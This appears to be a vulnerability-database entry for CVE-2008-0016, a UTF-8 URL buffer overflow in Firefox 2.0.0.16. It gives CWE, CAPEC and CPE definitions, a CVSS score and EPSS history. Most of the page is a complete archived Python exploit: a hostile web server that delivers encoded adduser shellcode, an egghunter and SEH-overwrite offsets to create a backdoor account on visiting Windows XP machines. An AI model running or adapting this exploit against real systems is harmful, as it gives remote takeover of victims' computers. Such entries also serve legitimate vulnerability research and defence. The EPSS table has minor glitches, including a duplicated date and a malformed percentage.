CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Stack-based buffer overflow in the URL parsing implementation in Mozilla Firefox before 2.0.0.17 and SeaMonkey before 1.1.12 allows remote attackers to execute arbitrary code via a crafted UTF-8 URL in a link.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
47.94%
–
–
2022-07-17
–
–
47.94%
–
–
2022-07-24
–
–
47.94%
–
–
2022-10-02
–
–
47.94%
–
–
2023-03-12
–
–
–
88.2%
–
2024-02-11
–
–
–
88.2%
–
2024-06-02
–
–
–
87.87%
–
2024-06-16
–
–
–
86.98%
–
2024-07-21
–
–
–
85.54%
–
2024-10-06
–
–
–
86.09%
–
2024-11-10
–
–
–
87.87%
–
2024-12-15
–
–
–
85.71%
–
2024-12-22
–
–
–
84.99%
–
2025-01-19
–
–
–
87.27%
–
2025-03-02
–
–
–
89.53%
–
2025-01-19
–
–
–
87.27%
–
2025-03-09
–
–
–
89.53%
–
2025-03-18
–
–
–
–
37.83%
2025-04-06
–
–
–
–
32.36%
2025-04-12
–
–
–
–
35.54%
2025-04-12
–
–
–
–
35.54,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/python
# FireFox 2.0.0.16 Windows XP SP3 x86 Remote Exploit
# Author: Dominic Chell <dmc@deadbeef.co.uk>
#
# Exploits the UTF-8 URL overflow vulnerability described in CVE-2008-0016.
# As of September 2009 there are no public exploits for this vulnerability.
# However, according to securityfocus an exploit is available in both Canvas
# and Core Impact.
#
# Thanks to meta and ChrisA
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
# Adduser shellcode encoded with shikata_ga_nai
# USER=r00t PASS=r00tr00t!!
egg = (
"\xda\xd4\x29\xc9\xb8\xb3\xfe\x8b\x54\xd9\x74\x24\xf4\xb1\x32"
"\x5f\x83\xef\xfc\x31\x47\x14\x03\x47\xa7\x1c\x7e\xa8\x2f\xa4"
"\x81\x51\xaf\xae\xc7\x6d\x24\xcc\xc2\xf5\x3b\xc2\x46\x4a\x23"
"\x97\x06\x75\x52\x4c\xf1\xfe\x60\x19\x03\xef\xb9\xdd\x9d\x43"
"\x3d\x1d\xe9\x9c\xfc\x54\x1f\xa2\x3c\x83\xd4\x9f\x94\x70\x11"
"\x95\xf1\xf2\x46\x71\xf8\xef\x1f\xf2\xf6\xa4\x54\x5b\x1a\x3a"
"\x80\xef\x3e\xb7\x57\x1b\xb7\x9b\x73\xdf\x04\x7c\x4d\x29\xea"
"\xd5\xc9\x5e\xac\xe9\x9a\x21\x3c\x81\xed\xbd\x91\x1e\x65\xb6"
"\x60\xd8\xf5\x06\x18\x49\x92\x76\x56\x6d\x3d\x1f\xfe\x90\x4b"
"\xd1\xa9\x93\xab\x8d\x38\x08\x1a\x37\xba\xb5\x42\x98\x59\x16"
"\xed\x83\xe9\x76\x84\x38\x74\x05\x46\xcd\x46\xd9\xf2\x11\xd4"
"\x29\xcb\x25\x6a\x7a\x1b\xb2\xab\x5b\x7b\x15\xea\xdf\x3f\x49"
"\xca\xf9\x9f\xe7\x77\x72\xc0\x9b\x18\x19\x61\x08\x81\xaf\x0e"
"\xa5\x3d\x70\x90\x21\xd0\x19\x7c\xc3\x59\xae\xf2\x72\xe9\x21"
"\x81\x07\x31\xcc\x55\xd8\x45\x10\xb9\x59\xe1\x14\xc5\x53")
# Egghunter where egg is 0x41424142.
# The egghunter is encoded as HTML entities, this evades the unicode conversion.
# Egghunter courtesy of skape. Modified to xor edx,edx as first instruction.
shellcode = (
"툳邐邐䊐橒堂⻍"
"Լ瑚룯䅂䅂懲疯"
"꿪쳌쳌쳌쳌"
"쳌쳌쳌쳌")
# The UTF-8 character in the URL triggers the code path where the overflow occurs.
s = "\xC3\xBA"
u = unicode(s, "utf-8")
utf8chars = u.encode( "utf-8" )
class myRequestHandler(BaseHTTPRequestHandler):
def create_exploit_buffer(self):
html = "<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<html>\n<body>\n"
# Store the egg and adduser shellcode in CDATA
# The egghunter will try and find this in memory
html += "<!CDATA[" + "\x42\x41\x42\x41\x42\x41\x42\x41" + egg
html += "]>\n"
html += "<a href=\""
html += "\x01"
html += "xx://dmc"
html += utf8chars
html += "/"
html += "邐" * 1700 # Windows XP SP3 SEH offset
html += "ძ邐" # unicode - ptr to next seh "\xeb\x10\x90\x90";
html += "ᇧ怷" # 0x603711e7 - pop/pop/ret - xpcom_core.dll
html +="邐" * 10
html += shellcode # add egghunter
html +="邐" * 10
html += "\" >s</a>"
html += "\n</body>"
html += "\n</html>"
return html
def do_GET(self):
self.printCustomHTTPResponse(200)
if self.path == "/":
target=self.client_address[0]
html = self.create_exploit_buffer()
self.wfile.write(html)
print "[*] Evil payload sent\n[*] Wait a few minutes and try connecting with r00t/r00tr00t!!\n"
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
print "FireFox 2.0.0.16 x86 Exploit\nAuthor: dmc@deadbeef.co.uk\n"
print "[*] Starting evil web server"
print "[*] Waiting for clients\n"
httpd = HTTPServer(('', 80), myRequestHandler)
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print "\n\n[*] Interupt caught, exiting.\n\n"
sys.exit(1)
# milw0rm.com [2009-09-14]
Products Mentioned
Configuraton 0
Mozilla>>Firefox >> Version To (including) 2.0.0.16